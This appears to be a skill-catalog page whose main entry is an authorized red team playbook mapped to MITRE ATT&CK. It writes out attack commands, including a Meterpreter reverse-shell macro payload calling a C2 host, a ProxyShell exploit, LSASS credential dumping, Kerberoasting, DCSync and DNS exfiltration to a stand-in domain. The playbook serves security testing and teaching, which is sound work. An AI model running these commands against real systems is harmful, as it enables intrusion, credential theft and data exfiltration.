Create forensically sound bit-for-bit disk images using dd and dcfldd while preserving evidence integrity through hash verification.
日本語の概要は準備中です。原文の説明を表示しています。
Plan and execute a comprehensive red team engagement covering reconnaissance through post-exploitation using MITRE ATT&CK-aligned TTPs to evaluate an organization's detection and response capabilities.
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A full-scope red team engagement simulates real-world adversary behavior across all phases of the cyber kill chain — from initial reconnaissance through data exfiltration — to evaluate an organization's detection, prevention, and response capabilities. Unlike penetration testing, red team operations prioritize stealth, persistence, and objective-based scenarios that mimic advanced persistent threats (APTs).
Map the engagement to specific MITRE ATT&CK tactics and techniques based on the threat profile:
| Kill Chain Phase | MITRE ATT&CK Tactic | Example Techniques |
|---|---|---|
| Reconnaissance | TA0043 | T1593 Search Open Websites/Domains, T1589 Gather Victim Identity Info |
| Resource Development | TA0042 | T1583.001 Acquire Infrastructure: Domains, T1587.001 Develop Capabilities: Malware |
| Initial Access | TA0001 | T1566.001 Spearphishing Attachment, T1078 Valid Accounts |
| Execution | TA0002 | T1059.001 PowerShell, T1204.002 User Execution: Malicious File |
| Persistence | TA0003 | T1053.005 Scheduled Task, T1547.001 Registry Run Keys |
| Privilege Escalation | TA0004 | T1068 Exploitation for Privilege Escalation, T1548.002 UAC Bypass |
| Defense Evasion | TA0005 | T1055 Process Injection, T1027 Obfuscated Files |
| Credential Access | TA0006 | T1003.001 LSASS Memory, T1558.003 Kerberoasting |
| Discovery | TA0007 | T1087 Account Discovery, T1018 Remote System Discovery |
| Lateral Movement | TA0008 | T1021.002 SMB/Windows Admin Shares, T1550.002 Pass the Hash |
| Collection | TA0009 | T1560 Archive Collected Data, T1213 Data from Information Repositories |
| Exfiltration | TA0010 | T1041 Exfiltration Over C2 Channel, T1048 Exfiltration Over Alternative Protocol |
| Impact | TA0040 | T1486 Data Encrypted for Impact, T1489 Service Stop |
# Passive DNS enumeration
amass enum -passive -d target.com -o amass_passive.txt
# Certificate transparency log search
python3 -c "
import requests
url = 'https://crt.sh/?q=%.target.com&output=json'
r = requests.get(url)
for cert in r.json():
print(cert['name_value'])
" | sort -u > subdomains.txt
# LinkedIn employee enumeration
theHarvester -d target.com -b linkedin -l 500 -f harvest_results
# Technology fingerprinting
whatweb -v target.com --log-json=whatweb.json
# Breach data credential search (authorized)
h8mail -t target.com -o h8mail_results.csv
Common initial access vectors for red team engagements:
Spearphishing (T1566.001):
# Generate payload with macro
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=c2.redteam.local LPORT=443 -f vba -o macro.vba
# Set up GoPhish campaign
# Configure SMTP profile, email template with pretexted lure, and landing page
gophish --config config.json
External Service Exploitation (T1190):
# Scan for vulnerable services
nmap -sV -sC --script vuln -p 80,443,8080,8443 target.com -oA vuln_scan
# Exploit known CVE (example: ProxyShell CVE-2021-34473)
python3 proxyshell_exploit.py -t mail.target.com -e attacker@target.com
# Situational awareness (T1082, T1016)
whoami /all
systeminfo
ipconfig /all
net group "Domain Admins" /domain
nltest /dclist:target.com
# Credential harvesting from LSASS (T1003.001)
# Using Havoc C2 built-in module
dotnet inline-execute SafetyKatz.exe sekurlsa::logonpasswords
# Kerberoasting (T1558.003)
Rubeus.exe kerberoast /outfile:kerberoast_hashes.txt
# Lateral movement via WMI (T1047)
wmiexec.py domain/user:password@target-dc -c "whoami"
# Lateral movement via PsExec (T1021.002)
psexec.py domain/admin:password@fileserver.target.com
Define and pursue specific objectives:
# DCSync attack (T1003.006)
secretsdump.py domain/admin:password@dc01.target.com -just-dc-ntlm
# Exfiltration over DNS (T1048.003)
dnscat2 --dns "domain=exfil.redteam.com" --secret=s3cr3t
The report should include:
| Metric | Description |
|---|---|
| Mean Time to Detect (MTTD) | Average time from action to SOC detection |
| Mean Time to Respond (MTTR) | Average time from detection to containment |
| TTP Coverage | Percentage of executed techniques detected |
| Objective Achievement Rate | Percentage of defined objectives completed |
| Dwell Time | Total time red team maintained access undetected |
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概要と使いどころ
Create forensically sound bit-for-bit disk images using dd and dcfldd while preserving evidence integrity through hash verification.
日本語の概要は準備中です。原文の説明を表示しています。
Creating algorithmic art using p5.js with seeded randomness and interactive parameter exploration. Use this when users request creating art using code, generative art, algorithmic art, flow fields, or particle systems. Create original algorithmic art rather than copying existing artists' work to avoid copyright violations.
日本語の概要は準備中です。原文の説明を表示しています。
Detect dangerous ACL misconfigurations in Active Directory using ldap3 to identify GenericAll, WriteDACL, and WriteOwner abuse paths
日本語の概要は準備中です。原文の説明を表示しています。
Perform static analysis of Android APK malware samples using apktool for decompilation, jadx for Java source recovery, and androguard for permission analysis, manifest inspection, and suspicious API call detection.
日本語の概要は準備中です。原文の説明を表示しています。
Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect BOLA/IDOR attacks, rate limit bypass, credential scanning, and injection attempts. Uses pandas for statistical analysis of request patterns and anomaly detection. Use when investigating API abuse or building API-specific threat detection rules.
日本語の概要は準備中です。原文の説明を表示しています。
Analyze advanced persistent threat (APT) group techniques using MITRE ATT&CK Navigator to create layered heatmaps of adversary TTPs for detection gap analysis and threat-informed defense.
日本語の概要は準備中です。原文の説明を表示しています。